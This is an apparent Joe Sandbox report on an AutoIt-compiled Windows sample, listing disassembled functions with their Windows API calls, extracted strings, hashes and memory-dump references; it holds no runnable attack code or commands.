                                      • Opcode Fuzzy Hash: 7bdeda6f4afd7a9046ef74e83894dd9847b7d6ac506e30e18656522fe90c2536
                                      • Instruction Fuzzy Hash: 33A1D1B601E305AFD7509FA0DC48E6BBBA9FF4E320F100A19FA62961E1D774E904DB51
                                      Function 00932638 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • DestroyWindow.USER32(00000000), ref: 00932665
                                      • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00932791
                                      • SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 009327D0
                                      • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 009327E0
                                      • CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 00932827
                                      • GetClientRect.USER32(00000000,?), ref: 00932833
                                      • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 0093287C
                                      • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 0093288B
                                      • GetStockObject.GDI32(00000011), ref: 0093289B
                                      • SelectObject.GDI32(00000000,00000000), ref: 0093289F
                                      • GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 009328AF
                                      • GetDeviceCaps.GDI32(00000000,0000005A), ref: 009328B8
                                      • DeleteDC.GDI32(00000000), ref: 009328C1
                                      • CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 009328ED
                                      • SendMessageW.USER32(00000030,00000000,00000001), ref: 00932904
                                      • CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 00932944
                                      • SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00932958
                                      • SendMessageW.USER32(00000404,00000001,00000000), ref: 00932969
                                      • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 0093299E
                                      • GetStockObject.GDI32(00000011), ref: 009329A9
                                      • SendMessageW.USER32(00000030,00000000,?,50000000), ref: 009329B4
                                      • ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 009329BE
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
                                      • String ID: AutoIt v3$DISPLAY$msctls_progress32$static
                                      • API String ID: 2910397461-517079104
                                      • Opcode ID: 509f19a20530719dae187db8134cc6a49add38bce0d6c9353b035bd44c7d3a16
                                      • Instruction ID: ec132c048a45cdbfd8a1238fd2507683ff0b19d07c60ccbce97a83c9cf115c7a
                                      • Opcode Fuzzy Hash: 509f19a20530719dae187db8134cc6a49add38bce0d6c9353b035bd44c7d3a16
                                      • Instruction Fuzzy Hash: E0B159B5A10215AFEB14DFA8CC4AFAE7BA9FB49714F008115FA15E7290D774ED40CBA0
                                      Function 009249FD Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON
                                      Download Yara Rule
                                      APIs
                                      • SetErrorMode.KERNEL32(00000001), ref: 00924A0B
                                      • GetDriveTypeW.KERNEL32(?,0094D034,?,\\.\,0094D0D0), ref: 00924AE8
                                      • SetErrorMode.KERNEL32(00000000,0094D034,?,\\.\,0094D0D0), ref: 00924C54
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ErrorMode$DriveType
                                      • String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
                                      • API String ID: 2907320926-4222207086
                                      • Opcode ID: 29251302e9b5fb1a52c647121a15b269e83233da2b996abc37620299e37e3a8e
                                      • Instruction ID: 245c95693f34b1a6e30ff3e44e154af4a3f3acfb0c9f6e4f39db9f19d9cbf7ba
                                      • Opcode Fuzzy Hash: 29251302e9b5fb1a52c647121a15b269e83233da2b996abc37620299e37e3a8e
                                      • Instruction Fuzzy Hash: 4B61F031706619DFC724DB2CEE42AED77A0FB84304B209415E44AEB29DC7B1ED85CB82
                                      Function 008CA2FA Relevance: 40.7, APIs: 22, Strings: 1, Instructions: 480windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • DestroyWindow.USER32(?,?), ref: 008CA389
                                      • SendMessageW.USER32(?,00001308,?,00000000), ref: 00907518
                                      • 6F570200.COMCTL32(?,000000FF,?), ref: 00907551
                                      • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00907996
                                        • Part of subcall function 008CA4D7: InvalidateRect.USER32(?,00000000,00000001,?,?,?,008CA15D,?,00000000,?,?,?,?,008CA12F,00000000,?), ref: 008CA53A
                                      • SendMessageW.USER32(?,00001053), ref: 009079D2
                                      • SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 009079E9
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: MessageSend$Window$DestroyF570200InvalidateMoveRect
                                      • String ID: 0
                                      • API String ID: 4254500536-4108050209
                                      • Opcode ID: 5cc339608ec0cf965bd8cfdd1fffac5ca01c177aa735f2281a8e2416514ababc
                                      • Instruction ID: 534fa6a20ea3c0a566d33170229a4772d442b74a79e67458766f11ccd95bd5c0
                                      • Opcode Fuzzy Hash: 5cc339608ec0cf965bd8cfdd1fffac5ca01c177aa735f2281a8e2416514ababc
                                      • Instruction Fuzzy Hash: D712DE30A09245AFCB25CF68C898FA9B7F9FB45324F144469F455CB6A1C732F842DB92
                                      Function 009472B7 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetSysColor.USER32(00000012), ref: 009472F0
                                      • SetTextColor.GDI32(?,?), ref: 009472F4
                                      • GetSysColorBrush.USER32(0000000F), ref: 0094730A
                                      • GetSysColor.USER32(0000000F), ref: 00947315
                                      • CreateSolidBrush.GDI32(?), ref: 0094731A
                                      • GetSysColor.USER32(00000011), ref: 00947332
                                      • CreatePen.GDI32(00000000,00000001,00743C00), ref: 00947340
                                      • SelectObject.GDI32(?,00000000), ref: 00947351
                                      • SetBkColor.GDI32(?,00000000), ref: 0094735A
                                      • SelectObject.GDI32(?,?), ref: 00947367
                                      • InflateRect.USER32(?,000000FF,000000FF), ref: 00947386
                                      • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0094739D
                                      • GetWindowLongW.USER32(00000000,000000F0), ref: 009473AA
                                      • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 009473F9
                                      • GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00947423
                                      • InflateRect.USER32(?,000000FD,000000FD), ref: 00947441
                                      • DrawFocusRect.USER32(?,?), ref: 0094744C
                                      • GetSysColor.USER32(00000011), ref: 0094745D
                                      • SetTextColor.GDI32(?,00000000), ref: 00947465
                                      • DrawTextW.USER32(?,00946FC4,000000FF,?,00000000), ref: 00947477
                                      • SelectObject.GDI32(?,?), ref: 0094748E
                                      • DeleteObject.GDI32(?), ref: 00947499
                                      • SelectObject.GDI32(?,?), ref: 0094749F
                                      • DeleteObject.GDI32(?), ref: 009474A4
                                      • SetTextColor.GDI32(?,?), ref: 009474AA
                                      • SetBkColor.GDI32(?,?), ref: 009474B4
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                      • String ID:
                                      • API String ID: 1996641542-0
                                      • Opcode ID: a0e061b6a44c793e37fa6bfb8f3779f2da9c11d6975ab606bc8f810590f91898
                                      • Instruction ID: 77d81d4b9bb8896f240e7a7bc94f4c7fe9db161c488a52834698db966b9f2eec
                                      • Opcode Fuzzy Hash: a0e061b6a44c793e37fa6bfb8f3779f2da9c11d6975ab606bc8f810590f91898
                                      • Instruction Fuzzy Hash: 7861AEB6909218AFDF009FA4DC48EEEBBB9EF09320F104115F911BB2A1D7749940EF90
                                      Function 00940F26 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetCursorPos.USER32(?), ref: 0094105B
                                      • GetDesktopWindow.USER32 ref: 00941070
                                      • GetWindowRect.USER32(00000000), ref: 00941077
                                      • GetWindowLongW.USER32(?,000000F0), ref: 009410CC
                                      • DestroyWindow.USER32(?), ref: 009410EC
                                      • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00941120
                                      • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0094113E
                                      • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00941150
                                      • SendMessageW.USER32(00000000,00000421,?,?), ref: 00941165
                                      • SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 00941178
                                      • IsWindowVisible.USER32(00000000), ref: 009411D4
                                      • SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 009411EF
                                      • SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 00941203
                                      • GetWindowRect.USER32(00000000,?), ref: 0094121B
                                      • MonitorFromPoint.USER32(?,?,00000002), ref: 00941241
                                      • GetMonitorInfoW.USER32(00000000,?), ref: 0094125B
                                      • CopyRect.USER32(?,?), ref: 00941272
                                      • SendMessageW.USER32(00000000,00000412,00000000), ref: 009412DD
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
                                      • String ID: ($0$tooltips_class32
                                      • API String ID: 698492251-4156429822
                                      • Opcode ID: 30891e711ba30daafb6154b60050fe14fb4f9a168e83e5e29cf6fcc5c3d3945c
                                      • Instruction ID: 96f2c8709b9b5663012f3f2965083fc4f143ee38d0400b0c77f2fe74531c8714
                                      • Opcode Fuzzy Hash: 30891e711ba30daafb6154b60050fe14fb4f9a168e83e5e29cf6fcc5c3d3945c
                                      • Instruction Fuzzy Hash: FEB17C71608341AFD754DF68C884FAABBE4FF85354F008918F599DB2A1D771E884CB92
                                      Function 008CE825 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON
                                      Download Yara Rule
                                      APIs
                                      • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 008CE8FC
                                      • GetSystemMetrics.USER32(00000007), ref: 008CE904
                                      • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 008CE92F
                                      • GetSystemMetrics.USER32(00000008), ref: 008CE937
                                      • GetSystemMetrics.USER32(00000004), ref: 008CE95C
                                      • SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 008CE979
                                      • AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 008CE989
                                      • CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 008CE9BC
                                      • SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 008CE9D0
                                      • GetClientRect.USER32(00000000,000000FF), ref: 008CE9EE
                                      • GetStockObject.GDI32(00000011), ref: 008CEA0A
                                      • SendMessageW.USER32(00000000,00000030,00000000), ref: 008CEA15
                                        • Part of subcall function 008CEA9A: GetCursorPos.USER32(?), ref: 008CEAAE
                                        • Part of subcall function 008CEA9A: ScreenToClient.USER32(?,?), ref: 008CEACB
                                        • Part of subcall function 008CEA9A: GetAsyncKeyState.USER32(00000001), ref: 008CEB02
                                        • Part of subcall function 008CEA9A: GetAsyncKeyState.USER32(00000002), ref: 008CEB1C
                                      • SetTimer.USER32(00000000,00000000,00000028,008CA671), ref: 008CEA3C
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
                                      • String ID: AutoIt v3 GUI
                                      • API String ID: 1458621304-248962490
                                      • Opcode ID: e6f72ab50ca7fef3d5a829b99f6b057c337d135818c83fdb135b7ceb0868b70e
                                      • Instruction ID: fbfcacda8b157eef458ac1af3881377b10ddd4142764f2d78bfc1e26a55f38ef
                                      • Opcode Fuzzy Hash: e6f72ab50ca7fef3d5a829b99f6b057c337d135818c83fdb135b7ceb0868b70e
                                      • Instruction Fuzzy Hash: F8B15575A0420AAFDB14DFA8D845FAE3BB9FB48314F104229FA15EB2E0D734E841DB51
                                      Function 00910CCF Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0091103D: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00911058
                                        • Part of subcall function 0091103D: GetLastError.KERNEL32(?,00000000,00000000,?,?,00910ADF,?,?,?), ref: 00911064
                                        • Part of subcall function 0091103D: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00910ADF,?,?,?), ref: 00911073
                                        • Part of subcall function 0091103D: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 0091107A
                                        • Part of subcall function 0091103D: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00911091
                                      • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00910D39
                                      • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00910D6D
                                      • GetLengthSid.ADVAPI32(?), ref: 00910D84
                                      • GetAce.ADVAPI32(?,00000000,?), ref: 00910DBE
                                      • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00910DDA
                                      • GetLengthSid.ADVAPI32(?), ref: 00910DF1
                                      • GetProcessHeap.KERNEL32(00000008,00000008), ref: 00910DF9
                                      • RtlAllocateHeap.NTDLL(00000000), ref: 00910E00
                                      • GetLengthSid.ADVAPI32(?,00000008,?), ref: 00910E21
                                      • CopySid.ADVAPI32(00000000), ref: 00910E28
                                      • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00910E57
                                      • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00910E79
                                      • SetUserObjectSecurity.USER32(?,00000004,?), ref: 00910E8B
                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00910EB2
                                      • HeapFree.KERNEL32(00000000), ref: 00910EB9
                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00910EC2
                                      • HeapFree.KERNEL32(00000000), ref: 00910EC9
                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00910ED2
                                      • HeapFree.KERNEL32(00000000), ref: 00910ED9
                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 00910EE5
                                      • HeapFree.KERNEL32(00000000), ref: 00910EEC
                                        • Part of subcall function 009110D7: GetProcessHeap.KERNEL32(00000008,00910AF5,?,00000000,?,00910AF5,?), ref: 009110E5
                                        • Part of subcall function 009110D7: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 009110EC
                                        • Part of subcall function 009110D7: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00910AF5,?), ref: 009110FB
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Heap$Process$Security$Free$AllocateDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
                                      • String ID:
                                      • API String ID: 4042927181-0
                                      • Opcode ID: 13094d8cfad6c6e82f3db1dd3bb4f5250f7308bcc06a2b6a6ee4d5eb24ce2a40
                                      • Instruction ID: 4c12a50ae3d57c00da62873c0abf411df7467e172c1cd912241749ee38c2ce37
                                      • Opcode Fuzzy Hash: 13094d8cfad6c6e82f3db1dd3bb4f5250f7308bcc06a2b6a6ee4d5eb24ce2a40
                                      • Instruction Fuzzy Hash: 0B717BB6A0520EAFDF109FA5DC44FEEBBBCBF49300F044515E915A6291D7B29A84CB60
                                      Function 00940851 Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CharUpperBuffW.USER32(?,?), ref: 009408F9
                                      • _wcslen.LIBCMT ref: 00940934
                                      • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00940987
                                      • _wcslen.LIBCMT ref: 009409BD
                                      • _wcslen.LIBCMT ref: 00940A39
                                      • _wcslen.LIBCMT ref: 00940AB4
                                        • Part of subcall function 008B3536: _wcslen.LIBCMT ref: 008B3541
                                        • Part of subcall function 00912B2C: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00912B3E
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _wcslen$MessageSend$BuffCharUpper
                                      • String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
                                      • API String ID: 1103490817-4258414348
                                      • Opcode ID: 95e7eade0acabe347dd18269ba70e034c7cbe39de56141f851a86621dab8dce8
                                      • Instruction ID: 1e6c6abb380b6419ac4d4587a3e886bf9aab2059cfb86572de05e8fe4985f832
                                      • Opcode Fuzzy Hash: 95e7eade0acabe347dd18269ba70e034c7cbe39de56141f851a86621dab8dce8
                                      • Instruction Fuzzy Hash: 5FE17D326083418FC714EF68C49196AB7E6FFD4314B14895DF99A9B3A2DB30ED45CB82
                                      Function 0093C8BF Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _wcslen$BuffCharUpper
                                      • String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
                                      • API String ID: 1256254125-909552448
                                      • Opcode ID: cdf55eb59c7e4e9540852f061767215f9ec0bea456b4d59c6e320cb4e73e0b63
                                      • Instruction ID: 858ee02506dce5689eb2a98a9ed7eab5d3d40f0b67d31d21da535adb4b91b601
                                      • Opcode Fuzzy Hash: cdf55eb59c7e4e9540852f061767215f9ec0bea456b4d59c6e320cb4e73e0b63
                                      • Instruction Fuzzy Hash: B37117B3A04A5A9BCB20DE7CCD416BB73A9EF61354F150529E865FB384EA34DD40CB60
                                      Function 0094822E Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • _wcslen.LIBCMT ref: 0094824C
                                      • _wcslen.LIBCMT ref: 00948260
                                      • _wcslen.LIBCMT ref: 00948283
                                      • _wcslen.LIBCMT ref: 009482A6
                                      • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 009482E4
                                      • LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,0094354D,?), ref: 00948340
                                      • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00948379
                                      • LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 009483BC
                                      • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 009483F3
                                      • FreeLibrary.KERNEL32(?), ref: 009483FF
                                      • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0094840F
                                      • DestroyCursor.USER32(?), ref: 0094841E
                                      • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 0094843B
                                      • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00948447
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
